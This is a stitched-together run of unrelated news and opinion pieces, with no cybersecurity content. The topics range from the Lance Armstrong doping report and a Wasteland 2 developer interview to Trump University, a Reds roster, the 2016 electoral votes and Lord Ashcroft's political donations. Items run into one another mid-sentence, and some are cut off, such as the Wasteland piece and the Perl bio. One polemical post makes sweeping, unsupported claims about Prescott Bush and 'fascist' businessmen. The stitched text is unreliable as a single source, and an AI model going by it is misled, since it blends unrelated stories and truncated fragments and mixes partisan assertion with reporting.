US reaction - Armstrong scandal "We certainly have slogged through a years-long swamp of melodramatic denials and rebuttals, a near-encyclopedia of diva drivel from a seven-time Tour de France non-champion." USA Today columnist Chuck Culpepper "The evidence put forth by the anti-doping agency drew a picture of Armstrong as an infamous cheat, a defiant liar and a bully who pushed others to cheat with him." New York Times reporter Juliet Macur "No-one with an objective mind can deny the damning facts uncovered in what amounts to a Mount Everest of testimony from witness after witness." Jay Hart of Yahoo.com "Ultimately, the evidence outlined in the report paints a picture of Armstrong as something of a doping trailblazer." Sports Illustrated writer David Epstein
Wiggins, who became the first Briton to win the Tour de France in July, also said the sport must now look to the future.
Asked by Sky Sports if it is frustrating answering questions about drugs cheats, he replied: "It always is. It is not something which sits easily. Everyone knows where we stand on that, it is about looking forward.
"I don't think that is relevant to what we are doing today. We are setting the example for our sport and we are one of the most successful sports for catching cheats."
Britain's six-time Olympic track champion Sir Chris Hoy also said he was shocked at the contents of the Usada report, and told BBC Sport it was a "depressing day for cycling".
He added: "It's frustrating and sad but at least we're naming and shaming people and it doesn't matter how big the names are, we're not afraid to do everything we can to prosecute them.
"In that era, there were a lot of people testing positive. The guys who were coming second and third behind Lance were testing positive so there was an element of suspicion surrounding him, but I always try and give people the benefit of the doubt."
Usada claimed that Armstrong orchestrated "the most sophisticated, professionalised and successful doping programme that sport has ever seen", although the American denies the allegations.
World Anti-Doping Agency head David Howman believes Usada's report draws a line under the Armstrong era but says cycling's governing body, the UCI, still has work to do.
"I think it is the end of the saga that has hung around for a number of years," he said. "But in terms of the overall situation which has been a battle in the media I think it is finished - I think it is over.
"I don't think the process to clean up cycling has been completed, even though the UCI has done a lot in recent years to head in that direction.
"There are a lot of current athletes who want the sport to be clean and you have to rely on athletes because they are putting in the performances.
"If they have to be part of a culture where the only way they can put a performance is by cheating, then that culture has to change."
BBC Radio 5 live Sport will look at the Lance Armstrong saga in a special programme on Monday at 19:00 BST. "Peddlers: Cycling's Dirty Truth" includes interviews with Armstrong's former team-mate Tyler Hamilton, former Wada head Dick Pound, and British cyclist David Millar who was banned for two years after admitting taking performance enhancing drugs.Brian Fargo talks fulfilling the trust of fans and the pressures of crowdfunding games
Take a moment and think about your dream game. You've probably been thinking about this for awhile. It's always in the back of your mind. Whenever you see new a title promising to do what your dream game does, you wonder if it can possibly reach it. Your dream game, it feels fleeting and impossible, but the joy and wonder it evokes is still real and raw.
Suddenly, you've been given the chance to make you dream game real. Friends look to you and hope you won't screw things up. Now you've got strangers invested in it. With so many people now following you, watching you, wanting you to make your game, it puts an enormous amount of pressure on you.
Sounds nerve wracking, right? This is all too real for Brian Fargo and his development studio inXile Entertainment. Two years after an enormously successful Kickstarter for Wasteland 2, they're quickly approaching the time for its release. We were invited to meet Fargo during his press tour for the game. During our talk, we learned just how much inXile and the creator are putting on the line with this revival of a classic post-apocalyptic adventure.
The original Wasteland was released in 1988 for the Commodore 64, PC DOS, and Apple II. Players were dropped in the role of a Desert Ranger, the peacekeepers in post-apocalyptic USA. Set in the Southwest of North America, the game tasked you with exploring and combating the dangers of life after a nuclear war. As a choice-driven game, you can freely explore the ruins of the old world while forging your own path in the grim future. I know what you're thinking: this sounds like Fallout. That's because Fallout was a successor to Wasteland.
"I think Wasteland, in a way, was one of the first sandbox type gameplays," Brian Fargo said. Taking influence from the then-popular Ultima series, the post-apocalyptic setting was an enticing change of pace for many. Fargo and his team at Interplay wanted to allow players to make their story and choose where they wanted to go. Years after work on Wasteland, Interplay went on to create Fallout, which was a spiritual successor to Wasteland, set in post-nuclear-war USA.
Fargo and his team at Interplay had always been interested in creating a direct sequel to Wasteland, but licensing issues and fickle publishers prevented them. "I didn't know what I was going to do with the company at the time. Honestly, I just stopped pitching titles to publishers," Fargo said. "After hearing so many horror stories, it was just a waste of time."
Following the success of DoubleFine's Kickstarter project, which would become Broken Age, many others raced to create their own Kickstarter campaigns. While there were many that would not make it, inXile's own campaign would prove to be another success story for the crowdfunding site. With close to $3 million dollars raised from over 60,000 backers, Kickstarter allowed Brian Fargo and inXile to get a second chance at making the game they've always wanted.
"We've been given such an incredible opportunity," Fargo said. Because of this -- and the high rate of failure and/or disappointment of most Kickstarter projects -- the developers at inXile wanted to pull out all the stops and make the game that would surpass expectations.
"I wanted to make sure we over-deliver and go beyond anyone's expectations for what they thought they were gonna get," Fargo said. "For me, not only from my backers that put faith in me, but other fellow developers who said 'don't screw this up, Brian. You know you need to do a good job.'
"What a lot of people don't know is I've spent twice as much money than we raised on the Kickstarter on this project to just blow it out all the way, to do something just huge in scope."
As a direct sequel to Wasteland, players will join the ranks of the Desert Rangers and explore the post-apocalyptic landscapes of Arizona and Los Angeles. You will be able to create a brand new character with unique skills and weaponry, acquire loot and allies, and explore both hand-crafted and procedurally-generated locations with their own unique quests and events.
"The budget for this game is much closer to five million, but that's because I poured in more of my own money and money from our sales from Bard's Tale and sales from Early Access, because I wanted to do something more ambitious. We could've kept it at the Kickstarter budget, but I wanted to knock this out of the ballpark and have people point and say 'that's what Kickstarter can do!' So I felt it was worth the risk."
And going all out was exactly what they did. They filmed a live-action opening cinematic featuring cosplayers from a post-apocalyptic convention in the desert of Nevada. They used a children's choir to sing gospel songs for the dangerous and God-fearing cult of Samson. Much of the game is voiced, bringing out words from writers who have written for the original Wasteland, Planescape: Torment, Fallout, and Baldur's Gate. The developers want the narrative to be the centerpiece of Wasteland 2's design.
"With Chris Avellone, Colin McComb, Nathan Long, Michael Stackpole, we take writing very seriously," Fargo said. There are over 500,000 lines of written dialog. "We feel it adds so much to the game and I feel it needs to be taken seriously. We have more words in this game than the Lord of the Rings trilogy.
"For Wasteland 2, I like to call it a narrative sandbox game," Fargo said. "We've written all of these different threads based upon what you've done in the narrative. You can make any choice spin off in any different way. On top of that, you can shoot anyone you encounter.
"I think the elements of 'old-school' [lots of choice and variables] are timeless. All this cause-and-effect gameplay, the subtlety of detail, the nuance of the humor -- good cause and effect is the hallmark of any game. By virtue of the design, when you do something, it turns something else off. I had a very famous game designer in my office a month ago, and he said 'why would you do that, create all that stuff that most people won't encounter?' and I said that's the charm of what it is."
Fargo was adamant about allowing players to have total freedom in how they express themselves in Wasteland 2. This mandate is apparent even in the beginning moments. After watching the burial of a fallen Desert Ranger during the opening cinematic, players can choose to desecrate the grave once gameplay starts.
Even after warnings from General Vargas, a returning character from the original game, players can choose to proceed with violating the grave. All ally NPC characters in the area will open fire on your squad, ending the game before it even properly begins. While most players will never see this scenario, the developers felt it was important to have so players can choose to express themselves in |
'm experienced with web development in Perl, having used extensively popular frameworks such as Moose, DBIx::Class, and Template::Toolkit. I'm also familiar with the project I intend to work on with this grant, PearlBee, since I refactored a big chunk of it to make it more extensible and robust, along with Sawyer X and other people at Booking.com.
In 2011, I completed a Google Summer of Code project for the Perl Foundation for replacing Catalyst's inversion of control system with Bread::Board, mentored by Tomas Doran and Eden Cardim.Seizure of all the assets of the Hamburg-American Line and of the North German Lloyd and of all the American branches jointly operated by them. Prescott Bush, George Herbert Walker and others operated the U.S. arm of Hamburg-American Line, seized herewith. Among other things, the company offered a cash reward to any American who would travel to Germany on a one-way ticket and proselytize for Hitler. The line also smuggled Nazi spies into the U.S., even after America had entered the war. President Roosevelt felt this constituted treason.
None were ever even tried, although they were the financial backers of a coup against FDR that sought to install a fascist dictatorship in the U.S. similar to the ones they were backing in Germany and Italy. Even after the war started and Bush's shipping company, which had been used for years to smuggle arms to Hitler and to smuggle Nazi spies into America, was seized, Bush managed to walk away relatively unscathed. (Bush's bank, the Union Bank, a Nazi front, was also seized under the Trading With the Enemies Act in 1942.) Below is an extract from Vesting Order No. 126:I'm posting the BBC documentary below so you can grasp for yourself the scope of the coup attempt by some of the biggest names in Big Business who were every bit as disloyal and fascist-oriented then as our current batch of plutocrats and corporate bigwigs are today-- and have always been. By not moving against them-- albeit, as you will see below, for good reason-- Roosevelt enabled future generations of fascist businessmen to just keep on trying, as they are today through political lackeys they financed... from Scott Walker and Paul Ryan in Wisconsin to Rick Snyder in Michigan, John Kasich and Rob Portman in Ohio and Rick Scott and Marco Rubio in Florida. Because they will never be satisfied until they reinstitute slavery or serfdom again-- not even with their wealth growing exponentially and corporate profits up 81% and taxes on the rich at historical-- and disgraceful-- lows
Labels: fascism, FDR, Glen Yeadon, Prescott Bush, treasonA federal judge ordered Friday the release of Trump University internal documents in a class-action lawsuit against the defunct real estate school owned by presumptive Republican presidential nominee Donald Trump.
U.S. District Judge Gonzalo Curiel in San Diego calls for the documents to be released Thursday. The order comes in a response to a request by The Washington Post.
Trump University has been cited repeatedly in anti-Trump political ads during the primary campaign as evidence that Trump fails to live up to his promises. Trump’s lawyers have denied any wrongdoing in the case before Curiel as well as another class-action suit in San Diego and a $40 million lawsuit filed in 2013 by the state of New York alleging that more than 5,000 had been defrauded.
The billionaire real estate mogul, for his part, has claimed that Curiel is a "hater of Donald Trump" and should be ashamed of how he has handled the case. Trump also has questioned whether Curiel, who is Hispanic, is biased against him because of his call for deporting immigrants in the U.S. illegally.
“I think Judge Curiel should be ashamed of himself. I think it’s a disgrace that he is doing this,” Trump said Friday.
The lawsuit overseen by Curiel states that Trump University's nationwide seminars and classes were like infomercials and pressured students to buy more but didn't deliver as promised in spite of students paying as much as $35,000 for seminars. Curiel already has set a Nov. 28 trial date.
Trump, who appears on a list of defense witnesses for the trial, has repeatedly pointed to a 98 percent satisfaction rate on internal surveys. But the lawsuit says students were asked to rate the product when they believed they still had more instruction to come and were reluctant to openly criticize their teachers on surveys that were not anonymous.
The Post reported that Curiel's order to release an estimated 1,000 pages of documents cites heightened public interest in Trump and that he had "placed the integrity of these court proceedings at issue."
The judge appeared to reject the argument by Trump attorneys that the information had commercial value, saying that there was no support for the assertion that Trump University may resume operations.
Since the early 1980s, Trump personally has been sued at least 150 times in federal court, records show. Only a handful of those cases are pending, with the ones involving Trump University being the most significant.
The judge had previously floated the idea of a June trial but then previously settled on an August date before Trump’s rise in the primaries.
Trump's attorneys have resisted a trial during the campaign.
"This will be a zoo if it were to go to trial," Trump lawyer Daniel Petrocelli said at a March hearing.
Trump has railed against the judge, calling him hostile and suggesting his positions in the case may be the result of Trump's stance on border security. The presumptive GOP nominee has noted the Curiel's ethnicity.
Trump said of the judge at an Arkansas rally in February: "I believe he happens to be Spanish, which is fine. He's Hispanic — which is fine."
The Associated Press contributed to this report.One of the odd men out is young infielder Jose Peraza, who was optioned to Triple-A Louisville. Ultimately, it was determined Peraza would not get enough at-bats at the big league level as a role player to keep his development going. He would have to fill in at up to four different positions if he made the club.
CINCINNATI -- The Reds made a flurry of last-minute moves on Sunday, ahead of Monday's Opening Day, but do not officially have a final 25-man roster.
CINCINNATI -- The Reds made a flurry of last-minute moves on Sunday, ahead of Monday's Opening Day, but do not officially have a final 25-man roster.
One of the odd men out is young infielder Jose Peraza, who was optioned to Triple-A Louisville. Ultimately, it was determined Peraza would not get enough at-bats at the big league level as a role player to keep his development going. He would have to fill in at up to four different positions if he made the club.
"There was a lot of internal debate on what was best for the player," Reds manager Bryan Price said. "I think we all agree he's a big leaguer and could be playing here now, but it would be in a somewhat limited basis compared to what he'll do in Triple-A."
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The reason the final Opening Day roster is not quite official is the Reds have yet to make a move to put Homer Bailey on the disabled list. That will be done officially on Monday, the club said.
With Tim Melville re-assigned to Triple-A Louisville, the Reds still need to select a starting pitcher for Thursday's game against the Phillies. If it's not Melville, one possibility might be No. 2 prospect Robert Stephenson, who was cut from the camp roster.
"We have made a decision. We're just apparently not going to release it until [Monday]," Price said.
Catcher Ramon Cabrera was also optioned to Triple-A Louisville, while reliever Dayan Diaz also was re-assigned to Louisville. Also not making the club is outfielder and Rule 5 player Jake Cave, who was designated for assignment. Cave was placed on waivers originally on Thursday.
Utility player Jordan Pacheco has made the team and his contract was selected. Outfielder Tyler Holt, who was cut from the spring roster last week, was recalled from Triple-A Louisville.
Pacheco was given the good news on Sunday as the team worked out at Great American Ball Park. His ability to play three infield spots and catch helped his cause.
"I'm glad I'm able to be part of this team. I'm glad I'm able to help," Pacheco said. "Last year it was same thing with Arizona. It came down to the last couple of hours."
Much of the bullpen was in flux until near the end of camp. The situation got murkier, though, when the team added pitchers in the closing days.
"It's an awesome feeling being on the Opening Day roster," reliever Caleb Cotham said. "It will definitely be new to be there, but it's exciting and a great opportunity."
Retroactive to March 25, starting pitchers Anthony DeSclafani, John Lamb, Michael Lorenzen and Jon Moscot were placed on the 15-day disabled list.
Outfielder Yorman Rodriguez was placed on the 15-day DL retroactive to March 27. Catcher Kyle Skipworth is on the 15-day DL, retroactive to March 31.
DeSclafani is still expected to be ready by April 10 to take the fifth starter's spot and pitch against the Pirates.
Here is the breakdown of the Reds' roster:
Position players (13):
Joey Votto, Brandon Phillips, Zack Cozart, Eugenio Suarez, Billy Hamilton, Adam Duvall, Jay Bruce, Devin Mesoraco, Tucker Barnhart, Ivan De Jesus, Scott Schebler, Holt, Pacheco.
Starting pitchers (3):
Raisel Iglesias, Brandon Finnegan, Alfredo Simon.
Bullpen (8):
J.J. Hoover, Tony Cingrani, Jumbo Diaz, Cotham, Keyvius Sampson, Dan Straily, Ross Ohlendorf and Blake Wood.Larry Pratt, the executive director of Ted Cruz’s favorite gun group, Gun Owners of America, said in a radio interview last week that the armed standoff at the Bundy ranch in Nevada last year “came very close” to starting “a civil war between the people and the government,” but that the war was averted when the Bureau of Land Management backed down in the face of armed protesters.
Pratt spoke with Arizona radio host Dave Hodges, whose nationally broadcast “The Common Sense Show” is an outlet for anti-government conspiracy theories. Hodges, discussing potential executive actions on guns from President Obama, asked Pratt if he agreed that “if we did not own guns, this government, this tyranny, would roll right over us and we may find ourselves all in chains.”
“The Second Amendment is all about keeping government out of control, to keep it from moving off in a tyrannical direction,” Pratt responded. “And the most recent deployment of the Second Amendment occurred about three years ago in Bunkerville, Nevada, on Cliven Bundy’s ranch.”
Saying that the federal agents attempting to collect more than $1 million of unpaid fees for Bundy’s use of public land were acting “like a bunch of Jesse James outlaws,” Pratt boasted that their “plan didn’t work out because Americans came from all over the country during that standoff, with their guns.”
“Well, I think someday, Larry, the government’s going to back down,” Hodges said, “and I think that if Obama persists in the strategy of inventing false reasons to come get our guns, we’re going to see widespread violence and resistance. I mean, how do you gauge the American public’s mood and attitude toward gun confiscation?”
“Well, I think that standoff in Bunkerville, Nevada, was perhaps a canary in the coal mine and it told us that there is danger ahead,” Pratt responded. “But it also told the government that if you push too hard there will be pushback. And people did come with their guns and their ammunition and they were ready to shoot if the government attacked.”
“That seems to me to have been a lesson that was being sent to the government,” he continued, “and right now I don’t think any Democrat, let alone Republican, wants to have that kind of situation where their view’s precipitating the outbreak of civil war. And we came very close to that. And it wouldn’t have been a civil war between the North and the South, this would have been a civil war between the people and the government.”
The two went on to discuss Obama’s potential executive action requiring large gun dealers to conduct background checks, which Pratt has said Gun Owners of America will “openly defy.” Pratt gave Hodges some more details of this planned defiance, saying that if Obama were to go forward in the action, he would find somebody in his home state of Virginia to illegally buy a gun from or sell one to.
“Come and get us, Mr. President!” he declared. “You have no authority and if you try to exercise it we’re going to have you in court and your head spinning.”A new trailer has been released for a forthcoming documentary about John Coltrane, titled Chasing Trane: The John Coltrane Story. Watch it below via Vanity Fair. Combining archival footage, photographs and performances, the film tells the story of the jazz musician's short but powerful life. Since Coltrane gave minimal radio interviews and never gave a television interview before he died at age 40, Denzel Washington narrates his words. “In many of his roles Denzel radiates an exceptional quiet strength,” said director-writer John Scheinfeld in a statement. "Coltrane, many of his friends told me, embodied a similar strength.”
The documentary also features Common, Kamasi Washington, Carlos Santana, Wynton Marsalis, Bill Clinton, Sonny Rollins, Dr. Cornel West, and more, who discuss Coltrane's significance and impact. His family and the labels that own his catalogue all lent their support to the film's production.
Chasing Trane will be screening at the IFC Theater in New York City beginning April 14 with a wider release to follow.
Read “Can the Church of John Coltrane Survive Gentrification?” on The Pitch.I’m told Marvel Studios is in final negotiations for Buffy the Vampire Slayer series architect Joss Whedon to direct Marvel Studios’ The Avengers. That’s the fast-tracked film that would amount to an all-star team of Marvel superheros, including Iron Man (Robert Downey Jr.), Captain America (Chris Evans), Thor (Chris Hemsworth), as well as SHIELD leader Nick Fury (Samuel L. Jackson). Other signature superheros will likely be involved, but I’ve listed the actors in active superhero duty. Whedon has been rumored for this job for awhile, and is high on the fanboy wish-list. He’s an interesting choice: despite his writing/producing TV series resume, his lone feature directing effort, Serenity, was not a hit. After Iron Man 2, Marvel has three pictures left on a distribution deal with Paramount before it moves to Disney, and the studio has been churning them out. Iron Man 2 gets released in May, Captain America will begin shooting this summer in Europe, Thor is in production, and Marvel Studios just set Pete Sollett to direct Runaways, based on the comic book series created by Lost writer Brian K. Vaughan. Whedon has written installments of the latter, so he knows how to make those superheros fly. Marvel has considered all of the individual superhero movies to be an intro to The Avengers, so the wanna-see on this one will be huge. The film will be released in the first weekend of May, 2012.Although the official electoral college results won’t be announced until January 6, when Congress meets in a joint session to officially count the results, states’ votes are already being announced and we now know that President-Elect Donald Trump is the winner. Trump had 259 electoral votes before Texas cast 36 of its 38 electoral votes for Trump, pushing him over the 270 that he needed to win. He ended with 304 electoral votes to Clinton’s 227.
Here are the results state-by-state, in alphabetical order, as shared by local media outlets, electors, or state officials. Faithless electors also put in votes for Bernie Sanders, Ron Paul, Faith Spotted Eagle, Colin Powell, and John Kasich.
Alabama – All 9 electors have voted for Trump.
Alaska – All 3 electors voted for Trump.
Arizona – All 11 electors voted for Trump.
Arkansas – All 6 electors voted for Trump.
California – All 55 voted for Hillary Clinton.
Colorado – All 9 electors voted for Clinton, after one attempted to go faithless to try to keep Trump out of office.
Connecticut – All 7 electors voted for Hillary Clinton.
Delaware – All 3 electors voted for Hillary Clinton.
Florida – All 29 electors voted for Trump.
Georgia – All 16 electors voted for Trump.
Hawaii – 3 voted Democrat and 1 turned faithless and voted for Bernie Sanders instead of Clinton, per 270toWin.
Idaho – All 4 electors voted for Trump.
Illinois – All 20 electors voted for Clinton.
Indiana – All 11 electors voted for Trump.
Kansas – All six electors voted for Trump, per 270toWin.
Kentucky – All 8 electors voted for Trump.
Louisiana – All 8 electors voted for Trump.
Maine – Maine and Nebraska are the only states that split their electoral votes. In Maine, Trump earned 1 electoral vote and Clinton earned 3. One of Clinton’s electors, David Bright, announced on Facebook that he was giving his electoral vote to Bernie Sanders. He tried to do just that, but he was ruled out of order and the vote was recast, forcing him to vote for Hillary Clinton instead.
Maryland – All 10 electors voted for Hillary Clinton.
Michigan – All 16 electors voted for Trump.
Minnesota – All 10 electors voted for Clinton.
Missouri – All 10 electors voted for Trump.
Mississippi – All 6 electors voted for Trump.
Montana – All 3 electoral votes went to Trump.
Nebraska – All 5 voted for Trump.
Nevada – All six voted for Clinton.
New Hampshire – All 4 electors voted for Clinton.
New Jersey – All 14 electors voted for Clinton, per 270toWin.
New Mexico – All 5 electors voted for Clinton.
New York – All 29 electors voted for Hillary Clinton.
North Carolina – All 15 electors voted for Trump.
North Dakota – All 3 electors voted for Trump.
Ohio – All 18 electors voted for Trump.
Oklahoma – All 7 electors voted for Trump.
Oregon – All 7 electors voted for Clinton.
Pennsylvania – All 20 votes for Trump (verified by CBS).
Rhode Island – All 4 electors voted for Clinton.
South Carolina – All 9 electors voted for Trump.
South Dakota – All 3 electors voted for Trump.
Tennessee – All 11 electors voted for Trump.
Texas – In Texas, 36 out of its 38 electoral votes went to Trump. Chris Suprun wrote today on The Hill that he still intended to cast his vote for John Kasich and not Trump. Once the meeting got underway, four electors resigned and then were replaced, which caused the results to be delayed. One of the electors, Sisneros, did not want to vote for Trump. The other three found out they were ineligible, Sean Walsh of the Statesman reported.
Utah – All 6 electors voted for Trump, per 270toWin.
Vermont – All 3 electors voted for Clinton.
Virginia – All 13 electors voted for Clinton, according to 270toWin.
Washington – In Washington, eight voted for Clinton, 3 voted for Colin Powell, and 1 voted for Faith Spotted Eagle.
West Virginia – All 5 electors voted for Trump.
Wisconsin – All 10 electors voted for Donald Trump.
Wyoming – All 3 electors voted for Trump, per 270toWin.
Despite thousands of voters writing Republican electors and trying to convince them to flip against Trump due to Clinton’s winning the popular vote by nearly 3 million votes, chances were very slim that this would actually happen. History tells us that electors typically vote within their state’s guidelines and don’t flip or go faithless.
One of the first to be announced was when CBS News in Pittsburgh announced that all 20 of Pennsylvania’s electors have voted for Trump. This is in line with what their state’s popular vote required their electors to do, so it looks like no one in Pennsylvania ended up voting faithless. Pennsylvania was a state that many people were watching because of the recount attempt there and the controversy over a typically blue state turning red.
We will add more results to this article as they are announced. In the meantime, if you’d like to see what an electoral ballot looks like, Jon Husted, Secretary of State in Ohio, shared his on Twitter:
This is what an electoral college ballot looks like. pic.twitter.com/ZWsa7y8cEJ — Jon Husted (@JonHusted) December 19, 2016
Want to watch the results as they happen? See our story with livestreaming video and links below:Politics
The State Department has responded to yesterday’s bombshell story about high-level officials squelching the investigation into several embarrassing scandals, some of which could have threatened national security. From NBC News:
A state department spokesperson would not confirm the specific investigations, but told NBC News “the notion that we would not vigorously pursue criminal misconduct in a case, in any case, is preposterous.” Former State Department investigator Aurelia Fedenisn has said that investigators dropped the ball in the case, and that a final report published in March of this year was “watered down,” according to her attorney. “She felt it was important that Congress get this information,” Fedenisn’s lawyer Cary Schulman told NBC News. State Department spokeswoman Jen Psaki said that the department “would never condone” improper influence on its investigators. “Any case we would take seriously and we would investigate, and that’s exactly what we’re doing.”
Jen Psaki was a member of the Benghazi B.S. Brigade, blaming all those phony talking points on the CIA, but forget about all that – you can take her denials of State Department tampering with these investigations to the bank. To paraphrase President Obama, if we don’t extend limitless credibility to an Administration that constantly lies to us, we’ve got a problem.
The New York Post has some more juicy details about those allegedly squashed investigations today. It turns out the ambassador who allegedly got called back to Washington for a mild tongue-lashing over his pursuit of prostitutes was America’s ambassador to Belgium, a big-money Obama donor named Howard Gutman, and his taste in sex workers supposedly included minors.
The members of Hillary Clinton’s protective detail who were frolicking with prostitutes in places like Russia and Columbia were partying right in Clinton’s hotel, but they received nothing worse than a one-day suspension and reassignment. These indiscretions occurred before the famous Secret Service Cartagena Call Girl Debacle, but it was all kept under wraps until now.
Clinton’s legal eagle and political fixer Cheryl Mills, a familiar figure from the recent Benghazi hearings, moved to protect Obama’s nominee for ambassador to Iraq, William McGurk, from further investigation after his extramarital affair with Wall Street Journal reporter Gina Chon was uncovered.
The Post also has more details about how the supposedly independent State Department Inspector General’s office was pressured into removing mention of these embarrassing cases from its report, which is what prompted IG whistleblower Aurelia Fedenisn to come forward:
At a December 2012 meeting to prepare the report, Assistant Secretary of State for Diplomatic Security Eric Boswell said he was “stunned” by the findings, and requested that the cases should be omitted. “He proposed that the subject ‘should be withheld’ from the inspection report until INV’s process determines if ‘there is something there,’” according to notes from the meeting. “Boswell said putting the subject in the report would ‘generally damage [Department of State],’ would ‘probably damage the Department,’ and would be used by ‘every defense lawyer around,’” according to the notes. They further said that he wanted to wait to see if something “came of it.” Fedenisn, the whistleblower, did not take the notes but was charged with keeping them, according to her lawyer. The draft report, marked “Sensitive But Unclassified,” cites several examples of undue influence “from the top floor of the department, raising serious concerns about the quality and integrity” of investigations. That statement was removed from the final report issued March 15. The final report also removed mention of “an ambassador accused of pedophilia and another such senior official had [Diplomatic Security] stop an investigation of an ambassador designate.” “Hindering such cases can result in counterintelligence vulnerabilities and can allow exploitive criminals to continue their activities,” said the draft report. “Moreover, the interventions frustrate, even demoralize,” dedicated agents, it went on.
As reported yesterday, Fedenisn received a very prompt visit from State Department heavies after CBS News made some calls to verify her story. Now her lawyer says the retired investigator “has been threatened by State Department officials with criminal charges.” On the other hand, NBC News says the House Foreign Affairs Committee is checking out her allegations, with chairman Ed Royce (R-CA) declaring himself “appalled not only by the reported misconduct itself, but at the reported interference in the investigations of the misconduct.”Michael Ashcroft speaks to the media after attending the Conservative Spring Forum in 2000, which was overshadowed by the row over his ennoblement (Phil Noble/PA Archive/PA Images)
One of the Tories' long-term big-money backers is back. Lord Ashcroft has been giving the Conservatives fat wads of cash ever since Thatcher was taking milk away from school children.
He stopped donating when David Cameron was Prime Minster, questioning if Dave was really a Conservative and claiming he was too distracted by "fringe" issues such as gay marriage. Things became strained between Ashcroft and Cameron because even after he gave the Tories £8 million, the former prime minster refused to honour an undertaking to make him a minister.
Cameron was worried that giving Ashcroft a ministerial job would cause a cronyism scandal, as Ashcroft has never been elected and kept a lot of his money in an offshore account, safely away from the tax man. In response, Ashcroft not only stopped donating to the party, but in 2015 also co-wrote and self-published a book containing a dubious allegation about Dave putting his penis in a pig's mouth.
Now Cameron is gone, Lord Ashcroft is sending novelty-sized cheques to the Tories again.
David Cameron leaving Downing Street for an audience with the Queen to formally resign. Lord Ashcroft had stopped donating to the Tories under Dave's Premiership (Stefan Rousseau/PA Wire/PA Images)
Electoral Commission figures show that last August a company called "Anne Street Partners" gave the Tories £50,000.
Anne Street Partners is a small company whose official address is an accountant's office in the "Ocean Village" Marina in Southampton. Company Accounts say that it is a subsidiary of a firm in the British Virgin Islands via another company in Belize.
In 2016 the government introduced new rules forcing "Persons of Significant control" behind formerly anonymous firms to name themselves, saying: "Companies that disguise who owns or controls them are not playing by the rules and have something to hide."
At the end of February, Anne Street Partners posted a "confirmation statement" admitting that Michael Ashcroft owns and controls the firm, and giving a Belizean "service address" for the Tory lord.
By donating £50,000, rich people can get membership of the Tory "Leaders Group", whose "members are invited to join Theresa May and other senior figures from the Conservative Party at dinners". So this donation will give Ashcroft direct access to the Prime Minister.
Ashcroft always seems to want something for his money. From Cameron, he wanted a ministerial position. In the 1980s, he used his cash to encourage the Tories to privatise the cleaning of schools and NHS hospitals, by funding a campaign group called "PULSE" (the Public and Local Service Efficiency Campaign). Ashcroft's businesses then snapped up the new cleaning contracts.
Now that he's back, Ashcroft's business interests are again aligning with Tory policies.
"The spat with Cameron led Lord Ashcroft to find other ways to influence the Tories, beyond just giving them a lot of money."
Since 2008 Ashcroft and his family have been the most significant shareholders of Impellam Group, which calls itself the "second largest staffing business in the UK". Ashcroft is currently the Chairman of Impellam, which earns its £2 billion a year turnover supplying temp staff.
Recently Impellam has expanded its business in supplying agency teachers, doctors and nurses – three areas where Tory cuts have caused shortages of permanent staff and opportunities for temp agencies to profit.
In 2014, Impellam expanded its existing teacher supply agency – Celsian Education – by paying £22 million to swallow up another education firm called Career Teachers Ltd.
Celsian Education's 2015 saw opportunities to profit from government policy. A comment in the company's accounts said, "The outlook for 2015 remains positive as demand for teaching staff increases due to demographic changes and market supply."
This February Parliament's Education select committee made clear what this means. The "demographic changes" Celesian Education referred to mean there are more kids to be taught. The select committee said that government policy has caused a "shortage of teachers". On the one hand the government "consistently fails to meet recruitment targets" to train new teachers. When they get there, teachers have to deal with an "unmanageable workload", which means they are "leaving the profession".
This shortage of teachers has forced schools to try to fill the gaps by paying more to agencies like those owned by Ashcroft's firm.
The shortages have got so bad, in fact, that they are even causing some problems for Ashcroft's business. In 2016 the company reported a loss in profits "primarily driven by candidate shortages across the education sector". The teacher shortages are now so severe they are also hitting temp supply agencies.
However, Ashcroft's education companies have some answers. On the one hand they are advertising for "Overseas teachers who are thinking of teaching in the UK", and working to "attract candidates to the UK from Ireland, Australia and Canada" who have teaching qualifications.
On the other hand, they are trying to increase their presence in the "classroom supervisor" market. Where schools can't find qualified teachers, some turn to unqualified "cover supervisors" to try and patch up "day to day vacancies". Celsian are offering "free training" to unqualified supervisors, who they then will hire out to schools.
A protest against the Junior Doctors' contract (Photo by Chris Bethel)
There is a parallel crisis in hospitals, where low wages, high stress and shortage of training places has caused shortages of doctors and nurses. This in turn has caused a big increase in the spend on locum doctors and agency nurses.
Lord Ashcroft's firm makes money here as well. Impellam owns Medacs, an agency which says, "We are the largest provider of on-framework locum doctors to the NHS." The "framework" is a list of NHS approved suppliers.
Last July a Daily Mail investigation found that Medacs also had a big slice of the agency nurse business. It noted: "Medacs Healthcare plc, charged £11.4 million (for supplying 43 hospital trusts), up from £9.2 million last year (for 38 trusts)."
However, not everything goes Lord Ashcroft's way. In November of 2015, Jeremy Hunt tried to deal with the ballooning NHS agency spend by introducing "caps on the total amount NHS providers can pay per hour" for agency doctors and nurses. The latest annual report of Lord Ashcroft's Impellam complains about "the dual impacts of continuing NHS caps on pay rates for locum doctors and temporary nurses, and the long-running strike by junior doctors" on their profits.
Even with these problems, Medacs was able to increase profits to £25 million (on a £144 million turnover) according to their latest annual report. The larger part of this cash comes out of the NHS, thanks to the health service being forced to rely on private agencies.
The spat with Cameron led Lord Ashcroft to find other ways to influence the Tories, beyond just giving them a lot of money. The ConservativeHome website, founded in 2005, calls itself a "champion" of " the interests of grassroots Tory members". It's is a popular Tory web-forum that holds a range of IRL events at Conservative conference. Theresa May's first acknowledged meeting as Prime Minister with Ashcroft happened at a ConservativeHome event
It's a major source of news and views for party members, and since 2009 the whole expensive operation has been "owned by Michael Ashcroft". This means that despite withdrawing funding for the Conservative Party, Ashcroft has still had a booming loudspeaker in the Tories' conversation – very "grassroots", then. The website's banner is currently "brexit" branded, which will be pleasing to Ashcroft, who is a top Brexiteer.
Ashcroft has been using his money in other ways, too. He recently gave some of it to another of the anti-EU brigade, Liam Fox, who has since become Secretary of State for International Trade. In November of 2015 a firm called Gusbourne PLC gave £10,000 to Liam Fox's constituency. According to their accounts, Lord Ashcroft is the "Ultimate Controlling Party" of Gusbourne.
Gusbourne is a leading English wine producer, best known for making sparkling wines from vineyards in Kent and West Sussex – a kind of English champagne that sells for around £39 a bottle. This is one firm that could actually benefit from Brexit. Lord Ashcroft has been the main owner since 2013.
According to their latest Annual Report, Ashcroft's recruitment business, Impellam, believes that "Brexit itself does not have any particular implications for how we operate."
VICE contacted Lord Ashcroft for a comment, but he did not respond.
Last time Aschroft's business interests and Tory policies ran together, in the 1980s, he got rich, but we were left with dirty hospitals and schools and the spread of low paid jobs.
